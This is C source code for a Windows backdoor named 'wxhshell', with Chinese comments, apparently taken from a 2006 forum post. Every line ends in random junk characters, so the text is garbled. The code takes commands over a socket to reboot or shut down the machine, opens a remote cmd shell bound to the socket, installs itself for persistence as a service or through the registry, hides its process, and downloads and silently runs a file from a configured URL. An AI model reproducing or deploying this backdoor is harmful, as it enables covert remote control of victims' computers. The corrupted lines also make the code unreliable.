  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bz[+g,e2oA  
  } X I\zEXO  
  else { j+:q:6=  
+*3\ C!  
    switch(cmd[0]) { ~Dw.3P:-  
  oB:tio4DE  
  // 帮助 |1G/J[E  
  case '?': { zE +)oQ,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); />(e.)f  
    break; =<I90j~)  
  } QDS=M]  
  // 安装 f)\ =LV  
  case 'i': { RYD V60*O6  
    if(Install()) N3Ub|$}q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); le?hCPHkp  
    else ZYoWz(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >ZKE  
    break; fr8:L!9  
    } _NAKVzo-  
  // 卸载 -.: [a3c?  
  case 'r': { XM$r,}B k  
    if(Uninstall()) Wa%Zt*7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wn[q?|1  
    else yw`xK2(C$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KwOn<0P  
    break; 7vRJQe)  
    } c6 cGl]FL  
  // 显示 wxhshell 所在路径 s`ly#+!.  
  case 'p': { ? &ew$%  
    char svExeFile[MAX_PATH]; ]Kb  
    strcpy(svExeFile,"\n\r"); 3Xaw  
      strcat(svExeFile,ExeFile); q bb:)>  
        send(wsh,svExeFile,strlen(svExeFile),0); Ob2H7 !  
    break; =jjUwcl  
    } r'M|mQ$s>  
  // 重启 "; tl>Ot  
  case 'b': { stz1e dP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L,0HX   
    if(Boot(REBOOT)) E~]8>U?V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %B` MO-  
    else { O.e^? ysp/  
    closesocket(wsh); w1EYXe  
    ExitThread(0); PhF3' ">  
    } EZ*FGt6(  
    break; a? K=  
    } KHKf+^uu  
  // 关机 R| t"(6  
  case 'd': { 7%L%dyN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b5_(Fv  
    if(Boot(SHUTDOWN)) ufm`h)N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {`BC$V  
    else { 'WkDp a  
    closesocket(wsh); 6W."h PP  
    ExitThread(0); d9h"Q  
    } aPaGnP:^  
    break; #~%tdmGuL  
    } tpj({   
  // 获取shell ]0.? 1se  
  case 's': { kxp$Nnk  
    CmdShell(wsh); \^vf`-uG  
    closesocket(wsh); B5pM cw  
    ExitThread(0); 1[o] u:m9U  
    break; $/5<f<%u&)  
  } u{xjFx-  
  // 退出 |rkj$s,  
  case 'x': { S3]Cz$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &#aQ mgDF  
    CloseIt(wsh);  `W< 7.  
    break; W@v@|D@  
    } Z{RRhJ  
  // 离开 4 F~e3  
  case 'q': { N r5 aU6]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _S5\5[^  
    closesocket(wsh); X9C)FS  
    WSACleanup(); U;o[>{L   
    exit(1); b}4k-hZL  
    break; :#v8K;C  
        } ;xaOve;9  
  } !4d6wp"  
  } n-[J+DdB  
0o2o]{rM{2  
  // 提示信息 9.ZhkvR4A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g=.~_&O  
} {^gb S  
  } q/ -8sO}q  
-]"=b\Q  
  return; {?m;DY v  
} D(xgadr  
rBLkowDP*  
// shell模块句柄 N+)4]ir>  
int CmdShell(SOCKET sock) '(A)^K>+  
{ /l_ $1<c  
STARTUPINFO si; IQ[ ?ej3W  
ZeroMemory(&si,sizeof(si)); }LQ*vD-Jj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }ny ,Nl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Icf 4OAx  
PROCESS_INFORMATION ProcessInfo; 2/S~l;x  
char cmdline[]="cmd"; Gb+cT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <cG .V |B  
  return 0; E< nXkqD  
} 33x3zEUt6  
7><ne|%  
// 自身启动模式 K1#Y{k5D}  
int StartFromService(void) |5)~WoV/G  
{ <y5V],-U  
typedef struct ']^e,9=Q  
{ -}|GkTM  
  DWORD ExitStatus; bsVms,&  
  DWORD PebBaseAddress; $@d`Kz;  
  DWORD AffinityMask; ,?i^i#Wqzg  
  DWORD BasePriority; F4X/ )$Dk  
  ULONG UniqueProcessId; BX$t |t;!m  
  ULONG InheritedFromUniqueProcessId; `84pql,  
}   PROCESS_BASIC_INFORMATION; )3v0ex@Jl  
G?12?2  
PROCNTQSIP NtQueryInformationProcess; ie+&@u  
8=ubMqr[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TuY{c%qQ:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  =Run  
Yf Udpa0  
  HANDLE             hProcess; B' 6^E#9  
  PROCESS_BASIC_INFORMATION pbi; w~M5)b  
L^rtypkJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _H^Ij  
  if(NULL == hInst ) return 0; RGYky3mQK  
)a,-Hc:Vz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (WiA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d}tn/Eu?B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EAo7(d@  
xjOy3_Js  
  if (!NtQueryInformationProcess) return 0; qT#+DDEAL  
pVn 6>\xa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =N01!?{  
  if(!hProcess) return 0; _=B(jJZ   
xtf]U:c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A=|LMJMWR  
Gdnk1_D>  
  CloseHandle(hProcess); pr>Qu:  
M]!\X6<_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h *)spwF-  
if(hProcess==NULL) return 0; O; EI&  
lJoMJS;S]}  
HMODULE hMod; VA4vAF  
char procName[255]; "[@-p  
unsigned long cbNeeded; },0fPkVsU  
N^q*lV#kob  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W-=~Afy  
CU6rw+Vax  
  CloseHandle(hProcess); C]*9:lK  
8<3J!X+  
if(strstr(procName,"services")) return 1; // 以服务启动 ]tH/87qJ  
hU5[k/ q  
  return 0; // 注册表启动 J/w?Fa<  
} $;7?w-.  
:Y y+%  
// 主模块 fMwJwMT8  
int StartWxhshell(LPSTR lpCmdLine) >!E:$;i@  
{ &bh?jW  
  SOCKET wsl; jnt0,y A  
BOOL val=TRUE; Wf 13Ab  
  int port=0; Kr=DoQ."d8  
  struct sockaddr_in door; C2AP   
{#uX   
  if(wscfg.ws_autoins) Install(); /#9O{)  
rj$u_y3S*  
port=atoi(lpCmdLine); RmO-".$yt  
?)Z~H,Q(z  
if(port<=0) port=wscfg.ws_port; 9+@_ZI-  
PmvTCfsg  
  WSADATA data; P\iw[m7O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~t<BZu  
^o!K0 t*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &AGV0{NMh]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nfy"M),et  
  door.sin_family = AF_INET; !rb)Y;WQt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P~;NwHZ?k  
  door.sin_port = htons(port); P`[6IS#\S  
_zJY1cr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7R<<}dA]  
closesocket(wsl); ub}t3#  
return 1; 9g J`H'  
} 4&K~EX"^T  
fcr\XCG7U  
  if(listen(wsl,2) == INVALID_SOCKET) { :2 ?dl:l  
closesocket(wsl); eXnMS!g%Z  
return 1; RFDwL~-p  
} [>;U1Wt  
  Wxhshell(wsl); *M/3 1qI  
  WSACleanup(); HkJ$r<J2  
lj@c"Yrk  
return 0; }OI;M^5L  
(J\"\#/d  
} H1 n`A#6?  
qW][Q%'lt  
// 以NT服务方式启动 ?t'O\n)M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /0!6;PC<  
{ bCdEItcD  
DWORD   status = 0; @4T+0&OI10  
  DWORD   specificError = 0xfffffff; xO'1|b^&  
d#vq+wR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ss236&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wCkhE,#-_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u <%,Ql  
  serviceStatus.dwWin32ExitCode     = 0; Ca*^U-  
  serviceStatus.dwServiceSpecificExitCode = 0; FX+Ra@I!  
  serviceStatus.dwCheckPoint       = 0; ] 5YG*sD4  
  serviceStatus.dwWaitHint       = 0; 9@Cqg5Kx'  
FoInJ(PDH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^B1Q";# B^  
  if (hServiceStatusHandle==0) return; kJlRdt2  
/"~CWNa  
status = GetLastError(); tl CgW)<?  
  if (status!=NO_ERROR) 6S2D\Bt,_  
{ :p=IZY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9H" u\t|?  
    serviceStatus.dwCheckPoint       = 0; o D*h@yL  
    serviceStatus.dwWaitHint       = 0; F9]GEBLr  
    serviceStatus.dwWin32ExitCode     = status; x!tCK47Yq  
    serviceStatus.dwServiceSpecificExitCode = specificError; yg5Ik{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ORA +>  
    return; RoJ{ ou@cs  
  } e#0R9+"Ba  
@2L+"=u#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hb#8?{  
  serviceStatus.dwCheckPoint       = 0; DdN{=}A  
  serviceStatus.dwWaitHint       = 0; 3(}W=oI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t1 OnA#]/_  
} aHXd1\6m  
"/(J*)%{  
// 处理NT服务事件,比如:启动、停止 {qp XzxV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {3i.U028]  
{ <JuP+\JAm  
switch(fdwControl) v<ASkkh>  
{ ~N;kF.q&>&  
case SERVICE_CONTROL_STOP: #B88w9 b`D  
  serviceStatus.dwWin32ExitCode = 0; (ye1t96  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q$yTG!q*  
  serviceStatus.dwCheckPoint   = 0; 3T'9_v[Y  
  serviceStatus.dwWaitHint     = 0; :tl* >d~  
  { %|I~8>m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >KNiMW^V  
  } U,gg@!1GJo  
  return; fk<0~ tE  
case SERVICE_CONTROL_PAUSE: #e}Q|pF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @a'Rn  
  break; pi*cO  
case SERVICE_CONTROL_CONTINUE: etMQy6E\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @>}!g9c  
  break; yTm/P!1S  
case SERVICE_CONTROL_INTERROGATE: g=0`^APql  
  break;  TTZb.  
}; ,6=j'j1#a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b(Zh$86  
} zVKbM3(^  
*39Y1+=)$$  
// 标准应用程序主函数 C< 3` ]l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X4_1kY;  
{ 8oK*NB29  
J: vq)G\F  
// 获取操作系统版本 !nQ_<  
OsIsNt=GetOsVer(); 4W5[1GE.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e{EKM4  
&b'IYoe  
  // 从命令行安装 <tXk\ cOg  
  if(strpbrk(lpCmdLine,"iI")) Install(); {e~#6.$:  
}$i Kz*nx|  
  // 下载执行文件 |L[/]@|  
if(wscfg.ws_downexe) { O_OgTa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w%~UuJ#i  
  WinExec(wscfg.ws_filenam,SW_HIDE); v7gs $'Q  
} !0!m |^c5  
tAF#kBa\y_  
if(!OsIsNt) { +-~8t^  
// 如果时win9x,隐藏进程并且设置为注册表启动 r&+8\/{  
HideProc(); /|Z_Dy  
StartWxhshell(lpCmdLine); !xcLJ5^W  
} 'tvX.aX2  
else u#!QIQW  
  if(StartFromService()) VJbsM1y M  
  // 以服务方式启动 #djby}hi  
  StartServiceCtrlDispatcher(DispatchTable); NW_i<#  
else |?A:[C#X  
  // 普通方式启动 =D;n#n7  
  StartWxhshell(lpCmdLine); =d`w~iC  
SG \6qE~  
return 0; 4N6JKS  
}
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只看该作者 1 发表于: 2006-10-10
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